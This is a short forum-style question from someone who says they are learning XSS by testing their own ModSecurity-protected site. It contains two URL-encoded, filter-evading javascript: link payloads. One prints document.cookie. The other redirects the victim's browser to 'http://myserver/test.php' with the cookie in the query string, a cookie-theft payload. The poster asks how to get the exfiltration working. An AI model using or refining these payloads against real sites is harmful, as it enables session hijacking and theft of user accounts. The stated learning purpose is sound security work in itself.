I am trying to learn about the XSS vulnerability and was testing some payloads in my website(with Mod_Security), but now I'm stuck and I don't know if it was a real vulnerability or a false positive, so follow the payload:
%3Ca+href%3D%22jAvAsCrIpT%26colon%3Bdocument.write%26lpar%3Bdocument.cookie%26rpar%3B%22%3EY%3C%2Fa%3E
The problem is, it just print the cookies in another page, is there any way to send that cookies to a "malicious page" and get them? I've tried something like that:
%3Ca+href%3D%22jAvAsCrIpT%26colon%3Bvoid%26lpar%3B(document.location='http://myserver/test.php?c='+escape(document.cookie))%26rpar%3B%22%3EY%3C%2Fa%3E
But no success, so, if anyone can give me a light I would appreciate.
Thanks in advance!